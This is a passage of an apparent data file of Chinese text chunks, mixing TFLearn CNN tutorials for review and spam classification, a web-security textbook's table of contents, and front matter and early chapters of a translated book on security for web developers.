x2,y2=load_files(\"../data/movie-review-data/review_polarity/txt_sentoken/neg/\", 1) x=x1+x2 y=y1+y2 return x,y 使用词袋模型将数据向量化，并且使用train_test_split将样本随机划分成训练集合和测试集合，分配比例为0.4，这个比例可以根据自己的需要进行调整，不过一般都是建议使用40%作为测试数据： x,y=load_data() x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.4, random_state=0) vp = learn.preprocessing.VocabularyProcessor(max_document_length=MAX_DOCUMENT_LENGTH, min_frequency=1) vp.fit(x) x_train = np.array(list(vp.transform(x_train))) x_test = np.array(list(vp.transform(x_test))) n_words=len(vp.vocabulary_) print(‘Total words: %d' % n_words) 2.训练样本 构造CNN，使用一维卷积函数： network = input_data(shape=[None, MAX_DOCUMENT_LENGTH], name='input') network = tflearn.embedding(network, input_dim=n_words+1, output_dim=128) branch1 = conv_1d(network, 128, 3, padding='valid', activation='relu', regularizer=\"L2\") branch2 = conv_1d(network, 128, 4, padding='valid', activation='relu', regularizer=\"L2\") branch3 = conv_1d(network, 128, 5, padding='valid', activation='relu', regularizer=\"L2\") network = merge([branch1, branch2, branch3], mode='concat', axis=1) network = tf.expand_dims(network, 2) network = global_max_pool(network) network = dropout(network, 0.5) network = fully_connected(network, 2, activation='softmax') network = regression(network, optimizer='adam', learning_rate=0.001, loss='categorical_crossentropy', name='target') 3.验证效果 CNN算法在fit函数中直接指定了测试数据集合（testX，testY）： model = tflearn.DNN(network, tensorboard_verbose=0) model.fit(trainX, trainY, n_epoch = 10, shuffle=True, validation_set=(testX, testY), show_metric=True, batch_size=32) 运行程序，准确率66%左右，比之前NB和RNN算法有提升。"},
    {"text": "17.4 示例：识别垃圾邮件 完整演示代码请见本书GitHub上的17-3.py。 1.数据清洗与特征化 CNN的诞生是为了解决图像处理领域计算量巨大而无法进行深度学习的问题，CNN通过卷积计算、池化等方法大大降低了计算量，同时识别效果还满足需求。图像通常是二维数组，文字通常都是一维数据，是否可以通过某种转换后，也使用CNN对文字进行处理呢？答案是肯定的。 我们回顾一下在图像处理时，CNN是如何处理二维数据的。如图17-6所示，CNN使用二维卷积函数处理小块图像，提炼高级特征进一步分析。典型的二维卷积函数处理图片的大小为3×3、4×4等。 图17-6 CNN处理图像数据的过程 同样的原理，我们可以使用一维的卷积函数处理文字片段，提炼高级特征进一步分析。典型的一维卷积函数处理文字片段的大小为3、4、5等，如图17-7所示。 图17-7 CNN处理文本数据的过程 感谢Yoon Kim的经典论文Convolutional Neural Networks for Sentence Classification给我们的知识。常见的词袋模型可以很好地表现文本由哪些单词组成，但是却无法表达出单词之间的前后关系，于是人们借鉴了词袋模型的思想，使用生成的词汇表对原有句子按照单词逐个进行编码。TensorFlow默认支持了这种模型： tf.contrib.learn.preprocessing.VocabularyProcessor (max_document_length, min_frequency=0, vocabulary=None, tokenizer_fn=None) 其中各个参数的含义为： ·max_document_length：，文档的最大长度。如果文本的长度大于最大长度，那么它会被剪切，反之则用0填充。 ·min_frequency，词频的最小值，出现次数小于这个值的词则不会被收录到词表中。 ·vocabulary，CategoricalVocabulary对象。 ·tokenizer_fn，分词函数。 假设有如下句子需要处理： x_text =[ 'i love you', 'me too' ] 基于以上句子生成词汇表，并对'i me too'这句话进行编码： vocab_processor = learn.preprocessing.VocabularyProcessor(max_document_length) vocab_processor.fit(x_text) print next(vocab_processor.transform(['i me too'])).tolist() x = np.array(list(vocab_processor.fit_transform(x_text))) print x 运行结果为： [1, 4, 5, 0] [[1 2 3 0] [4 5 0 0]] 整个过程如图17-8所示。 图17-8 使用词汇表模型进行编码 我们使用TensorFlow自带的VocabularyProcessor对数据集的文本进行编码转换： ham, spam=load_all_files() x=ham+spam y=[0]*len(ham)+[1]*len(spam) vp=tflearn.data_utils.VocabularyProcessor(max_document_length=max_document_length, min_frequency=0, vocabulary=None, tokenizer_fn=None) x=vp.fit_transform(x, unused_y=None) x=np.array(list(x)) return x,y 使用词汇表编码后，将数据集合随机分配成训练集合和测试集合，其中测试集合比例为40%： x,y=get_features_by_tf() x_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.4, random_state = 0) 将训练和测试数据进行填充和转换，不到最大长度的数据填充0，由于是二分类问题，把标记数据二值化。定义输入参数的最大长度为文档的最大长度： trainX = pad_sequences(trainX, maxlen=max_document_length, value=0.) testX = pad_sequences(testX, maxlen=max_document_length, value=0.) # Converting labels to binary vectors trainY = to_categorical(trainY, nb_classes=2) testY = to_categorical(testY, nb_classes=2) network = input_data(shape=[None,max_document_length], name='input') 2.训练样本 定义CNN模型，其实使用3个数量为128核，长度分别为3、4、5的一维卷积函数处理数据： network = tflearn.embedding(network, input_dim=1000000, output_dim=128) branch1 = conv_1d(network, 128, 3, padding='valid', activation='relu', regularizer=\"L2\") branch2 = conv_1d(network, 128, 4, padding='valid', activation='relu', regularizer=\"L2\") branch3 = conv_1d(network, 128, 5, padding='valid', activation='relu', regularizer=\"L2\") network = merge([branch1, branch2, branch3], mode='concat', axis=1) network = tf.expand_dims(network, 2) network = global_max_pool(network) network = dropout(network, 0.8) network = fully_connected(network, 2, activation='softmax') network = regression(network, optimizer='adam', learning_rate=0.001, loss='categorical_crossentropy', name='target') 3.验证效果 实例化CNN对象并进行训练数据，一共训练5轮： model = tflearn.DNN(network, tensorboard_verbose=0) model.fit(trainX, trainY, n_epoch=5, shuffle=True, validation_set=(testX, testY), show_metric=True, batch_size=100,run_id=\"spam\") CNN的结构如图17-9所示。 在我的mac本上运行了近3个小时后，对测试数据集的识别准确度达到了98.30%，令人满意： Training Step: 680 | total loss: 0.01691 | time: 2357.838s | Adam | epoch: 005 | loss: 0.01691 - acc: 0.9992 | val_loss: 0.05177 - val_acc: 0.9830 -- iter: 13524/13524 --"},
    {"text": "17.5 本章小结 本章重点介绍CNN的基础知识以及Web安全领域的相关应用。CNN不仅在图像处理领域大显身手，而且在文本分类领域具有广泛应用。基于CNN算法安全领域的更多应用，还等着大家去发掘。关于RNN和CNN的深度介绍和案例不是本书重点，本系列书的第二部将重点介绍深度学习及其应用，敬请关注。 图17-9 处理垃圾邮件的CNN结构图 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://blog.csdn.net/stdcoutzyx/article/details/41596663 · http://blog.csdn.net/u013713117/article/details/69261769 · https://github.com/tflearn/tflearn/blob/master/examples/nlp/ · http://blog.csdn.net/clayanddev/article/details/70738475 · http://www.wildml.com/2015/12/implementing-a-cnn-for-text-classification-in-tensorflow/ · http://www.36dsj.com/archives/24006 · http://www.imaotao.cn/a/WZ0518161GT0R8GQ？utm_source=tuicool&utm_medium=referral 还有一些参考文献值得一读： [1] Krizhevsky A，Sutskever I，Hinton G E.Imagenet Classification with Deep Convolutional Neural Networks[C].International Conference on Neural Information Processing Systems，2012，25（2）：1097-1105. [2] Springenberg Jost Tobias，Dosovitskiy Alexey，Brox Thomas，Riedmiller Martin.Striving for Simplicity：The All Convolutional Net.Eprint Arxiv，2014. [3] Kalchbrenner Nal，Grefenstette Edward，Blunsom Phil.A Convolutional Neural Network for Modelling Sentences.Eprint Arxiv，2014. [4] Krizhevsky A，Sutskever I，Hinton G E.Imagenet Classification with Deep Convolutional Neural Networks[C].International Conference on Neural Information Processing Systems，2012. [5] Sun Y，Wang X，Tang X.Deep Learning Face Representation from Predicting 10，000 Classes[C].IEEE Conference on Computer Vision&Pattern Recognition，2014. [6] Kim Yoon.Convolutional Neural Networks for Sentence Classification.Eprint Arxiv 2014."},
    {"text": "index\nCover\nindex Document Outline 封面 扉页 内容简介 版权页 编审委员会 出版说明 前言 目录 第1章 Web安全基础 1.1 网络安全现状 1.2 常见的Web安全漏洞 1.3 HTTP基础 1.4 Cookie和Session 1.5 Burp Suite工具 1.6 信息收集 1.7 思考题 第2章 SQL注入漏洞 2.1 SQL注入漏洞简介 2.2 数字型注入 2.3 字符型注入 2.4 My SQL注入 2.5 Oracle注入 2.6 SQLServer注入 2.7 Access注入 2.8 二次注入 2.9 自动化SQL注入工具sqlmap 2.10 SQL注入绕过 2.11 My SQL注入漏洞修复 2.12 思考题 第3章 文件上传漏洞 3.1 文件上传漏洞简介 3.2 前端JS过滤绕过 3.3 文件名过滤绕过 3.4 Content-Type过滤绕过 3.5 文件头过滤绕过 3.6 .htaccess文件上传 3.7 文件截断上传 3.8 竞争条件文件上传 3.9 文件上传漏洞修复 3.10 思考题 第4章 文件包含漏洞 4.1 文件包含漏洞简介 4.2 文件包含漏洞常见函数 4.3 文件包含漏洞示例代码分析 4.4 无限制本地文件包含漏洞 4.5 有限制本地文件包含漏洞 4.6 Session文件包含 4.7 日志文件包含 4.8 远程文件包含 4.9 PHP伪协议 4.10 文件包含漏洞修复 4.11 思考题 第5章 命令执行漏洞 5.1 命令执行漏洞简介 5.2 Windows下的命令执行漏洞 5.3 Linux下的命令执行漏洞 5.4 命令执行绕过 5.5 命令执行漏洞修复 5.6 思考题 第6章 代码执行漏洞 6.1 代码执行漏洞简介 6.2 PHP可变函数 6.3 思考题 第7章 XSS漏洞 7.1 XSS漏洞简介 7.2 XSS漏洞分类 7.3 反射型XSS 7.4 存储型XSS 7.5 DOM型XSS 7.6 XSS漏洞利用 7.7 XSS漏洞修复 7.8 思考题 第8章 SSRF漏洞 8.1 SSRF漏洞简介 8.2 SSRF漏洞示例代码分析 8.3 SSRF漏洞修复 8.4 思考题 第9章 XXE漏洞 9.1 XXE漏洞简介 9.2 XML基础 9.3 XML漏洞利用 9.4 XML漏洞修复 9.5 思考题 第10章 反序列化漏洞 10.1 序列化和反序列化简介 10.2 序列化 10.3 反序列化 10.4 反序列化漏洞利用 10.5 反序列化漏洞示例代码分析 10.6 反序列化漏洞利用实例详解 10.7 思考题 第11章 中间件漏洞 11.1 IIS服务器简介 11.2 IIS6.0PUT上传漏洞 11.3 IIS短文件名枚举漏洞 11.4 IISHTTP.sys漏洞 11.5 JBoss服务器漏洞 11.6 Tomcat服务器漏洞 11.7 Web Logic服务器漏洞 11.8 思考题 第12章 解析漏洞 12.1 Web容器解析漏洞简介 12.2 Apache解析漏洞 12.3 PHPCGI解析漏洞 12.4 IIS解析漏洞 12.5 IIS7.x解析漏洞 12.6 Nginx解析漏洞 12.7 思考题 第13章 数据库漏洞 13.1 SQLServer数据库漏洞 13.2 My SQL数据库漏洞 13.3 Oracle数据库漏洞 13.4 Redis数据库未授权访问漏洞 13.5 数据库漏洞修复 13.6 思考题 正文结束 附录A 英文缩略语"},
    {"text": "版权信息 书名：Web安全开发指南 作者：[美] John Paul Mueller 译者：温正东 ISBN：978-7-115-45408-9 本书由北京图灵文化发展有限公司发行数字版。"},
    {"text": "” —— Irish Times “Tim 是位特立独行的商人，他不光放眼于最长远、最广阔的视野，并且切实地按照 Yogi Berra 的建议去做了：‘如果你在路上遇到岔路口，走小路（岔路）。"},
    {"text": "前言 勒索软件、病毒、分布式拒绝服务（distributed denial-of-service，DDoS）攻击、中间人攻击、安全漏洞，这些词都会勾起参与应用程序管理的人噩梦般的回忆。"},
    {"text": "本书并不打算介绍我们可能会遇到的每一种安全威胁或解决它们的方法，而是提供独立解决任何一种安全问题所需要的指导原则和工具，让你看到成功的希望。"},
    {"text": "阅读须知 本书的读者可以是拥有任何头衔的人，比如网页设计师、前端开发人员、UI 设计师、用户体验设计师、交互设计师、美术总监、内容策略师、开发运营人员、产品经理、搜索引擎优化专家、数据科学家、软件工程师或者计算机科学家。"},
    {"text": "本书假设你想要了解最新的关于如何在不同级别阻止安全威胁的信息，其中包括对这些威胁的精确解读，以及黑客如何使用它们破坏你的安全措施。"},
    {"text": "等宽字体（ constant width ） 表示程序片段，以及正文中出现的变量、函数名、数据库、数据类型、环境变量、语句和关键字等。 加粗等宽字体（ constant width bold ） 表示应该由用户输入的命令或其他文本。 等宽斜体（ Constant width italic ） 表示应该由用户输入的值或根据上下文确定的值替换的文本。"},
    {"text": "比如，用本书的几个代码片段写一个程序就无需获得许可，销售或分发 O'Reilly 图书的示例光盘则需要获得许可； 引用本书中的示例代码回答问题无需获得许可，将书中大量的代码放到你的产品文档中则需要获得许可。"},
    {"text": "比如：“ Security for Web Developers by John Paul Mueller (O'Reilly). Copyright 2016 John Paul Mueller, 978-1-49192-864-6.” 如果你觉得自己对示例代码的用法超出了上述许可的范围，欢迎你通过 permissions@oreilly.com 与我们联系。"},
    {"text": "技术专家、软件开发人员、Web 设计师、商务人士和创意专家等，在开展调研、解决问题、学习和认证培训时，都将 Safari Books Online 视作获取资料的首选渠道。"},
    {"text": "用户可通过一个功能完备的数据库检索系统访问 O'Reilly Media、Prentice Hall Professional、Addison-Wesley Professional、Microsoft Press、Sams、Que、Peachpit Press、Focal Press、Cisco Press、John Wiley & Sons、Syngress、Morgan Kaufmann、IBM Redbooks、Packt、Adobe Press、FT Press、Apress、Manning、New Riders、McGraw-Hill、Jones & Bartlett、 Course Technology 以及其他几十家出版社的上千种图书、培训视频和正式出版之前的书稿。"},
    {"text": "美国： O'Reilly Media, Inc. 1005 Gravenstein Highway North Sebastopol, CA 95472 中国： 北京市西城区西直门南大街 2 号成铭大厦 C 座 807 室（100035） 奥莱利技术咨询（北京）有限公司 O'Reilly 的每一本书都有专属网页，你可以在那儿找到本书的相关信息，包括勘误表、示例代码以及其他信息。"},
    {"text": "本书的网站地址是： http://shop.oreilly.com/product/0636920041429.do 对于本书的评论和技术性问题，请发送电子邮件到： bookquestions@oreilly.com 要了解更多 O'Reilly 图书、培训课程、会议和新闻的信息，请访问以下网站： http://www.oreilly.com 我们在 Facebook 的地址如下： http://facebook.com/oreilly 请关注我们的 Twitter 动态： http://twitter.com/oreillymedia 我们的 YouTube 视频地址如下： http://www.youtube.com/oreillymedia 致谢 感谢我的妻子 Rebecca。"},
    {"text": "第一部分 制订安全计划 在这一部分中，你将了解如何制订用于应用程序开发的安全计划。 拥有一份好的安全计划能确保应用达到特定的目标，并且有助于与开发团队商讨如何实现安全性。"},
    {"text": "当数据被篡改、破坏、窃取或删除时，公司会遭受严重的损失。 事实上，如果某公司的数据发生了足够多的错误，那么该公司很可能会因此而不复存在。"},
    {"text": "然而，在进一步阅读之前，很重要的一件事是，要先明确应用和数据是如何交互的，因为如果对此没有了解，那本章余下的内容对你不会有太大用处。"},
    {"text": "其中有一些是全面而不带偏见的，有一些论述了作者认为的最重要的威胁，还有一些会告诉你哪些是最常见的威胁，此外你还可以找到各种各样的其他清单。"},
    {"text": "缓冲区溢出 攻击者试图将足够多的数据发送到输入缓冲区中，以便让应用程序或输出缓冲区溢出，从而导致在缓冲区外的内存数据被损坏。 某些形式的缓冲区溢出能使攻击者执行看起来不可能完成的任务，因为受影响的内存中保存着可执行的代码。"},
    {"text": "你可以在网页 http://www.upenn.edu/computing/security/swat/SWAT_Top_Ten_A5.php 和 https://www.owasp.org/index.php/Buffer_Overflows 上看到更多关于 Web 应用程序缓冲区溢出的内容。"},
    {"text": "最近有一篇文章（ http://www.infoworld.com/article/2925839/net-neutrality/code-injection-new-low-isps.html ）讨论了互联网服务提供商（Internet service provider，ISP）如何将 JavaScript 代码注入到数据流中以便在页面上放置悬浮广告。"},
    {"text": "对于像博客这样的应用程序来说，采取审核机制是很有必要的，以此确保你的应用程序最终不会沦为病毒的宿主，或者出现更糟糕的情况：被掺入看似无害的数据。"},
    {"text": "将数据存储在安全的位置而不是 Web 应用服务器上是很重要的，这样黑客就不能轻易地查看到可用于访问应用程序的凭据。 如果你的应用程序确实需要一些初始化文件，那么要确保这些文件放在 Web 根目录以外的地方，以防止黑客偶然发现它们。"},
    {"text": "当黑客能够获取到这些路径信息并更改它们的时候，远程代码包含就可能被指向黑客想要包含的任何代码，从而使得黑客可以完全掌控你的系统。"},
    {"text": "会话劫持 每次用户登录到你的 Web 服务器，服务器就会为其创建一个唯一的会话。 会话劫持者会侵入到会话中并拦截用户与服务器之间传输的数据。"},
    {"text": "看起来我们周围存在着许多不同的网络威胁，但如果在网上搜索的时间足够长，你会轻易地将这份清单的长度变成现在的 3 倍，然而这些也只是众多黑客攻击手段中的一小部分。"},
    {"text": "考虑隐私安全问题 当一家公司涉足安全时，它往往会首先关注自己的数据安全，毕竟，如果公司的数据丢失、被损坏、被修改或以别的方式变得不可用，那它可能会面临破产。"},
    {"text": "最近的一篇文章（ http://www.infoworld.com/article/2925292/internet-privacy/feds-vs-silicon-valley-who-do-you-trust-less.html ）指出，用户和客户把科技行业视为糟糕的数据受托方。"},
    {"text": "从个人层面来说，黑客同样可以悄悄地把你家的温度调高到可怕的程度，关掉你家所有的灯，或者通过你的网络摄像头监视你，这只是一些例子。"},
    {"text": "软件安全保障（Software Security Assurance，SSA）的观点是，软件需要某种监管来确保它不会导致其使用、控制和保护的数据及资源发生丢失、误差、篡改、不可用或误用。"},
    {"text": "通过查阅各大公司的在线 SSA 文档，你会发现 SSA 是如何影响这些公司的，比如 Oracle（ https://www.oracle.com/support/assurance/index.html ）和 Microsoft（ https://msdn.microsoft.com/library/windows/desktop/84aed186-1d75-4366-8e61-8d258746bopq.aspx ）。"},
    {"text": "1.2.1 考虑OSSAP 为了使 SSA 在 Web 应用程序中成为现实，有一个重要的网站需要关注，那就是开放 Web 应用安全项目（Open Web Application Security Project，OWASP， https://www.owasp.org/index.php/OWASP_Software_Security_Assurance_Process ），如图 1-1 所示。 这个网站对如何使 OWASP 的安全软件保障流程（OWASP Security Software Assurance Process，OSSAP）成为软件开发生命周期（Software Development Lifecycle，SDLC）的一部分进行了流程分解。"},
    {"text": "图 1-1：OWASP 网站会告诉你关于 Web 应用的 SSA 虽然 OSSAP 提供了一个很棒的框架来确保应用满足 SSA 的要求，但你并不需要与该组织有任何的互动。"},
    {"text": "这些要求会帮你确定软件的当前状态、需要解决的问题，以及这些问题的严重程度。 在定义问题之后，你能够明确修复进程以及任何其他要求，以确保软件安全。"},
    {"text": "例如，你可以考虑通过以下方式减少漏洞： 制定编码规范 执行强制的开发人员培训 在开发团队中聘请安全主管 使用专门定位安全问题的自动化测试程序 所有这些方法都指向公司使用和依赖的资源，以确保应用程序正确地管理数据。"},
    {"text": "Web 应用程序特别容易有潜藏的问题，因为与桌面端应用程序不同，其代码会出现在许多地方，并且脚本语言易于隐藏问题，而经过编译的应用程序则没有这种情况，因为脚本语言是在运行时而不是编译时进行解析的。"},
    {"text": "当一家公司选择错误的工具来完成这个工作时，出现安全漏洞的风险会大大提高，因为这些工具可能无法创建出严格符合预期的代码。 同样，当使用工具的开发人员不具备必需的技能时，软件出现安全漏洞就毫不奇怪了，但更熟练的开发人员能避免这些漏洞。"},
    {"text": "这里的问题是，在线用户可能根本就不在线，而是其他人利用了他的凭据登录了系统，并且没人知道这件事，因为所有人都觉得这个用户是像平时一样正常登录该系统。"},
    {"text": "事实上，很多公司的数据分析都做得不够好，因为他们把重点放在了如何管理和使用数据上，而忽略了如何确保数据的安全（有理由相信你需要解决这三个问题）。"},
    {"text": "当分析数据时，你必须考虑以下这些问题： 谁能访问数据 数据以什么格式存储 数据何时可被访问 数据存储在什么地方 为什么每个数据项都能作为应用程序的一部分被使用 数据如何分解成各个部分，以及组合数据供应用程序使用的后果 比如，一些应用程序没有执行数据隐藏，但其实数据隐藏应该是任何好的应用程序应该有的重要特征。"},
    {"text": "功能膨胀 这个词由来已久，你经常在涉及金钱消耗的场景中发现它，比如应用程序性能问题的根源、用户培训费用的提升，以及开发进度的延迟等。"},
    {"text": "虽然提供一种途径让用户找回密码是有必要的，但有些实现方式确实有可能让黑客得到用户的密码从而伪装成该用户。 黑客甚至可能会修改用户的密码，使得真正的用户无法登录（但是这一举动会适得其反，因为管理员能轻松恢复用户的访问权限）。"},
    {"text": "有了这个想法，你一般需要考虑下面几种约束： 确保数据有正确的类型 定义数据能接受的值的范围 明确数据长度的最大值和最小值 列出所有不能接受的数据值 1.3 探究与语言相关的问题 应用环境是由所采用的开发语言定义的。"},
    {"text": "用户跟踪 因为大多数情况下应用程序使用了不同来源的代码，所以你可能会发现库、API 或微服务实际上执行了一些类型的用户跟踪，而黑客能利用其来获取公司信息。"},
    {"text": "你能在网页 http://www.slideshare.net/shreeraj/html5-localstorageattack-vectors 和 https://blog.whitehatsec.com/web-storage-security/ 上读到这种攻击的相关细节（包括一些攻击案例）。"},
    {"text": "你能在网页 http://www.slideshare.net/SergeyShekyan/bay-threat-2012-websockets 和 http://blog.kotowicz.net/2011/03/html5-websockets-security-new-tool-for.html 上看到更多关于这一问题的资料，其中有些例子会告诉你如何使用 WebSocket 来克服安全保护的问题以及潜在的解决方案。"},
    {"text": "但是，上传的 CSS 也可能包含一些代码，使得黑客更容易破坏设在各个地方的安全措施，或者在可见范围内隐藏脏东西。 例如，黑客会在 CSS 里隐藏 URL，从而将应用重定向到不安全的服务器上。"},
    {"text": "最近的一篇文章（ http://www.infoworld.com/article/2926221/security/large-scale-attack-hijacks-routers-through-users-browsers.html ）讨论了一种路由器攻击，攻击者将毫无防范的用户定向到一个特定的网站。"},
    {"text": "然而，根据 Ponemon 研究所关于 2014 年全球网络犯罪造成损失的统计报告（ http://info.hpenterprisesecurity.com/LP_CP_424710_Ponemon_ALL ），2014 年网络犯罪导致的损失金额高达 1270 万美元，而 2010 年该值是 650 万美元。"},
    {"text": "显然，所有这些入侵行为不会只发生在别人的公司，它们也很容易发生在你的公司，所以，最好假设某个地方的某个黑客已盯上了你的公司。 事实上，如果一开始就意识到黑客不仅会入侵公司系统，还会偷走你的财物，你就会真正为现实生活中的场景做好准备。"},
    {"text": "你构建的所有应用程序必须足够可靠以实现以下功能： 对抗普通的攻击 在安全措施失效时发出警报 避免对可能会发生漏洞的地方做出假设 要假设即使是受过训练的用户也会犯导致安全事故的错误 不要假设安全漏洞只存在于某些平台。"},
    {"text": "例如，许多人觉得销售点（point-of-sale，POS）终端机是安全的，但是黑客目前正在大力攻击此类设备（ http://www.computerworld.com/article/2925583/security/attackers-use-email-spam-to-infect-pos-terminals.html ）以获取信用卡信息。"},
    {"text": "创建用户理解并喜欢使用的应用（见第 2 章） 谨慎选择外部数据（详见 1.6.4 节） 构建具有天然入侵屏障的应用（见第 4 章） 测试所写代码的可靠性，并详细记录故障及其原因（见第 5 章） 谨慎选择外部库、API 和微服务（详见 1.6 节） 对所有的应用元素（甚至是并非你自己所有的元素）执行全面的测试策略（详见第三部分） 管理应用程序的各个部分，以确保安全防护措施不会在应用上线后失效（详见第四部分） 持续跟进最新的安全威胁与解决策略（见第 16 章） 培训开发人员，让他们在每个项目里都自始至终考虑安全问题（见第 17 章） 1.4.2 检测安全漏洞 所有公司最不希望发生的事是，听到别人的安全事故。"},
    {"text": "就目前而言，大部分的开发团队需要以下这些领域的专家： 网络 数据库管理 应用设计与开发 移动技术 网络取证 法规遵从 每个应用程序都需要一个团队，这个团队能够定期讨论与应用程序相关的安全需求和安全威胁。"},
    {"text": "1.4.3 修复受损的软件 当安全事故确实发生了，公司与之相关的任何团队都必须准备承担责任并采取修复措施。 公司层面需要明白，如果不能尽快修复安全漏洞并将系统恢复至事故发生前的状态，那么公司可能面临破产。"},
    {"text": "例如，2011 年，Dropbox 出现了一个 bug，任何人都能用任何密码访问任何账户，这一事故持续了 4 个小时 [ 参见 InformationWeek 的文章（ http://www.darkreading.com/vulnerabilities-and-threats/dropbox-files-left-unprotected-open-to-all/d/d-id/1098442 ）]。"},
    {"text": "1.6.1 定义库的使用 库是任何你添加进自己的应用程序的代码。 许多人将库定义得更加广泛一些，但对本书而言，其要点是，库包含着代码，并且在应用投入使用时其已成为应用程序的一部分。"},
    {"text": "有趣的一点是，在 jQuery 里术语 库 和 API 是可互换使用的，如图 1-2 所示。 图 1-2：很多网站把库和 API 互换使用 jQuery 的网站还会告诉你关于这个代码库的最佳配置。"},
    {"text": "因为 API 是以请求 / 响应方式工作的，所以它们能提供比库更广泛的平台支持，但其运行速度会比库慢，因为其代码与使用它的系统并不在一个地方。"},
    {"text": "任何信息交换都要求有额外的安全保障，因为你的部分数据始终会落在自己的主机系统上。 你需要明白主机应提供适当的安全措施来保护请求中传递的数据。"},
    {"text": "图 1-4：微服务是一门新技术，而该网站会通过不同的使用模式来帮你认识它们 当使用微服务时，你需要确保其所在的主机是可信赖的，且微服务执行的单个任务是明确定义的。"},
    {"text": "还有一点很重要，要考虑微服务如何与你提供的任何数据进行交互，且不要假设每一个微服务都以相同的方式与数据进行交互（就算这些微服务存在于同一台计算机上）。"},
    {"text": "下面是最常见的作为外部私有数据源的信息存储来源： 存储在你自己公司主机上的数据 存储在合作伙伴计算机上的数据 由在服务器上运行的应用程序计算出的数据 从传感器或公司提供的其他数据源引入的数据 付费的数据来源也是相对安全的。"},
    {"text": "比如，图 1-5 所示的世界卫生组织网站就提供了筛选数据仓库的方法，让你能够准确地找到所需的数据，然后你可以仅下载那部分数据集，从而降低得到不想要的数据的风险。 图 1-5：有些数据仓库（比如世界卫生组织的数据库）是可下载的 很多数据仓库和方法可以访问它们所存储的数据。"},
    {"text": "每一个环境都有不同的要求，所以准确地理解代码会如何影响访问数据的方法，进而需要什么样的安全措施来保障无害地使用数据，这是很重要的。"},
    {"text": "维持环境安全意味着要完成以下事项： 定期检查所有资源以确保它们是可用的 提供有用的资源文档 确保第三方开发者遵守规则（通过在采购语言里加入安全性要求等） 执行必要的安全测试 持续跟进资源存在的潜在威胁 更新主机资源以避免已知的漏洞 将资源提供给外部访问的开发者还需要考虑其他的问题，但这些问题对于任何外部访问的场景来说都是很普遍的。"},
    {"text": "此外，你必须期望第三方去测试资源以确保他们是按所给建议操作的。 例如，当提供库、API 或微服务时，你必须期望第三方会执行输入和输出测试，而不是简单地相信你所说的，资源会按预期运行。"},
    {"text": "下面是一些你必须考虑的事项： 黑客会尝试利用你的资源来入侵你的网站 开发人员会滥用资源，并尝试用它执行其设计目的以外的任务 资源会以某种方式受损 第 2 章 迎合用户需求与期望 除非你可以说服用户接受安全，否则它将无法奏效。"},
    {"text": "根据应用程序的不同情况，确保应用程序及其安全性能在最广泛的平台上工作，能为你带来良好的声誉，从而更容易让用户接受安全性方面的要求。"},
    {"text": "对许多开发者来说，编写代码的目的是创建运行良好且满足所有需求的应用程序。 但是，编写代码的真正目的是要创建出能让用户成功且安全地与数据交互的环境。"},
    {"text": "当安全性成为阻碍应用程序变得不可见的因素时，它就会变成用户想要规避的问题。 总之，让应用程序及其相关的安全性尽可能地对用户不可见是最好的，离这一目标越近，用户就会越喜欢使用你的应用程序。"},
    {"text": "比如，Ashley Madison 网站被黑（ http://www.computerworld.com/article/2982959/cybercrime-hacking/ashley-madison-coding-blunder-made-11m-passwords-easy-to-crack.html ）就让开发者特别担心，并不太可能对这样的事妥协。"},
    {"text": "你可以在网站 http://devops.com/ 上找到很多关于开发运营的资料。 很多人尝试描述开发运营，但描述比较清晰的是 Patrick Debois 的一篇博文（ http://www.jedi.be/blog/2010/02/12/what-is-this-devops-thing-anyway/ ）。 虽然这篇文章有点老旧，但它很好地概述了什么是开发运营，它解决什么问题，以及你该如何在自己的应用程序里使用它。"},
    {"text": "但是，创建解决方案还必须让以下人员参与： 管理层（确保公司的目标达成） 法务人员（确保数据保护措施满足政府要求） 人力资源（确保你不会伤害任何人的感情） 技术支持（确保进行了所有需要的培训） 所有参与定义控制数据管理的经营策略的利益相关者 毕竟，执行数据管理的规则就是安全的全部意义所在。"},
    {"text": "与在有明确硬件配置信息的条件下进行开发相比，开发能在自带设备（Bring Your Own Device，BYOD）环境中运行良好的应用程序要困难得多，但可以达到更好的效果。"},
    {"text": "了解用户拥有哪些类型的设备是值得的，这样对于将哪些种类的设备用于应用程序的测试以及如何设置使用应用程序的设备标准，就有了决策的基础。"},
    {"text": "你应该将此作为第一步，因为这里的每个人都会帮你制定聚焦于用户和业务需求的策略，还能让你找出与未满足的期望（不是需求）相关的问题。"},
    {"text": "以下是一些通常会用到的与解决该领域问题相关的工具： a. 用户或系统认证 b. 数据加密 c. 移动设备管理 d. 通用的反病毒保护 e. 虚拟私有网络（virtual private network，VPN）支持（需要时） f. 防止数据丢失 g. 主机入侵防御 (5) 与有强大安全专业技能的公司建立合作关系（如果有必要）。"},
    {"text": "此外，提供从众多平台访问应用程序意味着你能获得以下的重要益处： 提升工作人员之间的协作性 增强客户服务 在任意地点访问企业信息 提升工作效率 当然，支持众多平台有许多其他好处，但是这一清单指出的是使用原生应用程序的问题。"},
    {"text": "根据《今日美国》上的一篇文章（ http://www.usatoday.com/story/tech/2015/02/11/kill-switch-theft-down/23237959/ ），锁死开关的使用极大地降低了几个大城市的手机偷盗率。 PC World 上最近的一篇文章（ http://www.pcworld.com/article/2367480/10-things-to-know-about-the-smartphone-kill-switch.html ）提供了一些关于帮助管理层了解锁死开关是如何工作的相关信息。"},
    {"text": "例如，为了检测某个浏览器是否支持你想使用的 HTML5 特性，你需要使用 HTML5test（ https://html5test.com/ ）这样的网站来检查它，以获取潜在问题领域的列表，如图 2-1 所示。"},
    {"text": "在某些情况下，开发人员需要与从管理层往下的每个人合作，以制定出一份合理的数据处理措施清单，这意味着使用定制化浏览器的解决方案将不会太流行，但它会有利于实施稳健的数据管理策略。"},
    {"text": "但是，更严重的一个问题是，用户会在这些设备上使用老旧的软件，因为旧版本的软件用起来比较舒服。 使用老旧软件的后果是，应用可能会出现问题，但这些问题不在于应用程序，而是由非常陈旧的软件导致的代码兼容性问题。"},
    {"text": "图 2-2：验证你计划使用的代码特性在用户浏览器上是否能正常运行 另外一件很重要的事情是，要注意有些网站会以简明的方式告诉你一些兼容性问题。"},
    {"text": "图 2-3：找出能以简明方式告诉你版本问题的文档很重要 大多数开发人员会体验到的一个严重的代码兼容性问题是，让 HTML5 在老旧的浏览器上正常显示。"},
